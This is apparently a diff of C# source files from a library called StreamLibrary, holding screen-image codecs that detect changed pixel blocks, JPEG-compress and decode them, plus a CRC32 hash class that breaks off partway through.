if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
x += s.Width;
}
}
}
else
{
finalUpdates.Add(points[0].Rect);
}
}
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
base.jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
{
PopulairPoint point = null;
if (GetPopulairPoint(rect, ref point))
{
point.Score++;
point.LastUpdate = Stopwatch.StartNew();
//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
}
else
{
populairPoints.Add(new PopulairPoint(rect));
}
}
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
/*for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = PixelSize * rect.Width;
buffer = new byte[blockStride * rect.Height];
fixed (byte* ptr = buffer)
{
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
{
buffer = base.jpgCompression.Compress(TmpBmp);
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
{
PopulairPoint point = null;
if (GetPopulairPoint(rect, ref point))
{
point.Score++;
point.LastUpdate = Stopwatch.StartNew();
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
}
else
{
populairPoints.Add(new PopulairPoint(rect));
}
}
}
}
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
outStream.Write(buffer, 0, buffer.Length);
TotalDataLength += buffer.Length + (4 * 5);
}*/
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
ms.Close();
ms.Dispose();
}
}
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
if (Length < 4)
return decodedBitmap;
int DataSize = *(int*)(CodecBuffer);
if (decodedBitmap == null)
{
byte[] temp = new byte[DataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
}
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
if (DataSize > 0)
{
Graphics g = Graphics.FromImage(decodedBitmap);
for (int i = 4; DataSize > 0; )
{
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
int UpdateLen = *(int*)(bufferPtr + i + 16);
byte[] temp = new byte[UpdateLen];
fixed(byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
{
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
}
}
DataSize -= UpdateLen + (4 * 5);
i += UpdateLen + (4 * 5);
}
g.Dispose();
}
return decodedBitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
{
for (int i = 0; i < populairPoints.Count; i++)
{
PopulairPoint point = populairPoints[i];
if (point.Rect.Width == rect.Width &&
point.Rect.Height == rect.Height &&
point.Rect.X == rect.X &&
point.Rect.Y == rect.Y)
{
PopuPoint = populairPoints[i];
return true;
}
}
return false;
}
private PopulairPoint[] GetPossibleVideos()
{
List<PopulairPoint> points = new List<PopulairPoint>();
for (int i = 0; i < populairPoints.Count; i++)
{
if (populairPoints[i].Score > 30)
{
points.Add(populairPoints[i]);
}
}
return points.ToArray();
}
}
}

View File

@ -0,0 +1,285 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeQuickStream : IUnsafeCodec
{
public override ulong CachedSize { get; internal set; }
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 0; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
}
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private ulong[] EncodeBuffer;
private int BlockWidth = 0;
private int BlockHeight = 0;
private Bitmap decodedBitmap;
public List<Rectangle> VerifyPoints = null;
public Size CheckBlock { get; private set; }
public UnsafeQuickStream(int ImageQuality = 100)
: base(ImageQuality)
{
this.CheckBlock = new Size(50, 50);//width must be bigger then 3
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = InputSize.Width * PixelSize;
RawLength = Stride * InputSize.Height;
if (EncodedWidth == 0 && EncodedHeight == 0)
{
this.EncodedFormat = Format;
this.EncodedWidth = OutputRect.Width;
this.EncodedHeight = OutputRect.Height;
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
return;
}
List<Rectangle> Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
VerifyPoints = Points;
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
for (int i = 0; i < Points.Count; i++)
{
Rectangle rect = Points[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
base.jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
}
private unsafe List<Rectangle> ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
{
if (EncodeBuffer == null)
{
this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
this.EncodeBuffer = new ulong[TotalBlocks];
}
List<Rectangle> points = new List<Rectangle>();
int StartScan = Scan0.ToInt32();
for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
{
if (y + CheckBlock.Height > OutputRect.Height)
break;
for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
{
if (x + CheckBlock.Width > OutputRect.Width)
break;
int EncodeOffset = GetOffset(x, y);
long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
ulong* ScanPtr = (ulong*)(StartScan + offset);
if (EncodeBuffer[EncodeOffset] != *ScanPtr)
{
EncodeBuffer[EncodeOffset] = *ScanPtr;
Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
int index = points.Count - 1;
if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
{
Rectangle rect = points[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
points[index] = cBlock;
}
else
{
points.Add(cBlock);
}
}
}
}
return points;
}
private Point GetOffsetPoint(int x, int y)
{
return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
(int)Math.Floor((double)(x / CheckBlock.Width)));
}
private int GetOffset(int x, int y)
{
return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
(int)Math.Floor((double)(x / CheckBlock.Width));
}
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
if (Length < 4)
return decodedBitmap;
int DataSize = *(int*)(CodecBuffer);
if (decodedBitmap == null)
{
byte[] temp = new byte[DataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
}
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
if (DataSize > 0)
{
Graphics g = Graphics.FromImage(decodedBitmap);
for (int i = 4; DataSize > 0; )
{
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
int UpdateLen = *(int*)(bufferPtr + i + 16);
byte[] temp = new byte[UpdateLen];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
{
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
}
}
DataSize -= UpdateLen + (4 * 5);
i += UpdateLen + (4 * 5);
}
g.Dispose();
}
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,363 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeStreamCodec : IUnsafeCodec
{
public override ulong CachedSize
{
get;
internal set;
}
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.RequireSameSize; }
}
public Size CheckBlock { get; private set; }
private byte[] EncodeBuffer;
private Bitmap decodedBitmap;
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
bool UseJPEG;
/// <summary>
/// Initialize a new object of UnsafeStreamCodec
/// </summary>
/// <param name="ImageQuality">The quality to use between 0-100</param>
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
: base(ImageQuality)
{
this.CheckBlock = new Size(50, 1);
this.UseJPEG = UseJPEG;
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
lock (ImageProcessLock)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
if (EncodeBuffer == null)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
this.EncodeBuffer = new byte[RawLength];
fixed (byte* ptr = EncodeBuffer)
{
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
}
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
if (this.EncodedFormat != Format)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
List<Rectangle> Blocks = new List<Rectangle>();
int index = 0;
Size s = new Size(ScanArea.Width, CheckBlock.Height);
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
int lasty = ScanArea.Height - lastSize.Height;
int lastx = ScanArea.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
List<Rectangle> finalUpdates = new List<Rectangle>();
s = new Size(ScanArea.Width, s.Height);
fixed (byte* encBuffer = EncodeBuffer)
{
for (int y = ScanArea.Y; y != ScanArea.Height; )
{
if (y == lasty)
s = new Size(ScanArea.Width, lastSize.Height);
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
int offset = (y * Stride) + (ScanArea.X * PixelSize);
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
{
index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
y += s.Height;
}
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
{
s = new Size(CheckBlock.Width, Blocks[i].Height);
x = ScanArea.X;
while (x != ScanArea.Width)
{
if (x == lastx)
s = new Size(lastSize.Width, Blocks[i].Height);
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
bool FoundChanges = false;
int blockStride = PixelSize * cBlock.Width;
for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
FoundChanges = true;
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
}
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if(FoundChanges)
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
x += s.Width;
}
}
}
/*int maxHeight = 0;
int maxWidth = 0;
for (int i = 0; i < finalUpdates.Count; i++)
{
if (finalUpdates[i].Height > maxHeight)
maxHeight = finalUpdates[i].Height;
maxWidth += finalUpdates[i].Width;
}
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
int XOffset = 0;*/
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
/*using (Graphics g = Graphics.FromImage(bmp))
{
g.DrawImage(TmpBmp, new Point(XOffset, 0));
}
XOffset += TmpBmp.Width;*/
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Length;
long OldPos = outStream.Position;
if (UseJPEG)
{
base.jpgCompression.Compress(TmpBmp, ref outStream);
}
else
{
base.lzwCompression.Compress(TmpBmp, outStream);
}
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
/*if (finalUpdates.Count > 0)
{
byte[] lele = base.jpgCompression.Compress(bmp);
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
bool Won = lele.Length < outStream.Length;
bool CompressWon = compressed.Length < outStream.Length;
Console.WriteLine(Won + ", " + CompressWon);
}
bmp.Dispose();*/
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
finalUpdates.Clear();
}
}
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
if (Length < 4)
return decodedBitmap;
int DataSize = *(int*)(CodecBuffer);
if (decodedBitmap == null)
{
byte[] temp = new byte[DataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
}
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
return decodedBitmap;
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
if (DataSize > 0)
{
Graphics g = Graphics.FromImage(decodedBitmap);
for (int i = 4; DataSize > 0; )
{
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
int UpdateLen = *(int*)(bufferPtr + i + 16);
byte[] temp = new byte[UpdateLen];
fixed(byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
{
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
}
}
DataSize -= UpdateLen + (4 * 5);
i += UpdateLen + (4 * 5);
}
g.Dispose();
}
return decodedBitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
using (Graphics g = Graphics.FromImage(decodedBitmap))
{
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
tempData = null;
byte[] buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
using (MemoryStream m = new MemoryStream(buffer))
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
}
buffer = null;
DataSize -= UpdateLen + (4 * 5);
}
}
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,186 @@
// Tamir Khason http://khason.net/
//
// Released under MS-PL : 6-Apr-09
using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Cryptography;
using System.Collections;
using System.IO;
namespace StreamLibrary.src
{
/// <summary>Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.</summary>
/// <remarks>This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
/// or SHA512 in the System.Security.Cryptography namespace.</remarks>
public class CRC32 : HashAlgorithm
{
#region CONSTRUCTORS
/// <summary>Creates a CRC32 object using the <see cref="DefaultPolynomial"/>.</summary>
public CRC32()
: this(DefaultPolynomial)
{
}
/// <summary>Creates a CRC32 object using the specified polynomial.</summary>
/// <remarks>The polynomical should be supplied in its bit-reflected form. <see cref="DefaultPolynomial"/>.</remarks>
public CRC32(uint polynomial)
{
HashSizeValue = 32;
_crc32Table = (uint[])_crc32TablesCache[polynomial];
if (_crc32Table == null)
{
_crc32Table = CRC32._buildCRC32Table(polynomial);
_crc32TablesCache.Add(polynomial, _crc32Table);
}
Initialize();
}
// static constructor
static CRC32()
{
_crc32TablesCache = Hashtable.Synchronized(new Hashtable());
_defaultCRC = new CRC32();
}
#endregion
#region PROPERTIES
/// <summary>Gets the default polynomial (used in WinZip, Ethernet, etc.)</summary>
/// <remarks>The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.</remarks>
public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
#endregion
#region METHODS
/// <summary>Initializes an implementation of HashAlgorithm.</summary>
public override void Initialize()
{
_crc = _allOnes;
}
/// <summary>Routes data written to the object into the hash algorithm for computing the hash.</summary>
protected override void HashCore(byte[] buffer, int offset, int count)
{
for (int i = offset; i < count; i++)
{
ulong ptr = (_crc & 0xFF) ^ buffer[i];
_crc >>= 8;
_crc ^= _crc32Table[ptr];
}
}
/// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>
protected override byte[] HashFinal()
{
byte[] finalHash = new byte[4];
ulong finalCRC = _crc ^ _allOnes;
finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
return finalHash;
}
/// <summary>Computes the CRC32 value for the given ASCII string using the <see cref="DefaultPolynomial"/>.</summary>
public static int Compute(string asciiString)
{
_defaultCRC.Initialize();
return ToInt32(_defaultCRC.ComputeHash(asciiString));
}
/// <summary>Computes the CRC32 value for the given input stream using the <see cref="DefaultPolynomial"/>.</summary>
public static int Compute(Stream inputStream)
{
_defaultCRC.Initialize();
return ToInt32(_defaultCRC.ComputeHash(inputStream));
}
/// <summary>Computes the CRC32 value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
public static int Compute(byte[] buffer)
{
_defaultCRC.Initialize();
return ToInt32(_defaultCRC.ComputeHash(buffer));
}
/// <summary>Computes the hash value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
public static int Compute(byte[] buffer, int offset, int count)
{
_defaultCRC.Initialize();
return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
}
/// <summary>Computes the hash value for the given ASCII string.</summary>
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
public byte[] ComputeHash(string asciiString)
{
byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
return ComputeHash(rawBytes);
}
/// <summary>Computes the hash value for the given input stream.</summary>
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
new public byte[] ComputeHash(Stream inputStream)
{
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
{
HashCore(buffer, 0, bytesRead);
}
return HashFinal();
}
/// <summary>Computes the hash value for the input data.</summary>
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
new public byte[] ComputeHash(byte[] buffer)
{
return ComputeHash(buffer, 0, buffer.Length);
}
/// <summary>Computes the hash value for the input data.</summary>
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
new public byte[] ComputeHash(byte[] buffer, int offset, int count)
{
HashCore(buffer, offset, count);
return HashFinal();
}
#endregion
#region PRIVATE SECTION
private static uint _allOnes = 0xffffffff;
private static CRC32 _defaultCRC;
private static Hashtable _crc32TablesCache;
private uint[] _crc32Table;
private uint _crc;
// Builds a crc32 table given a polynomial
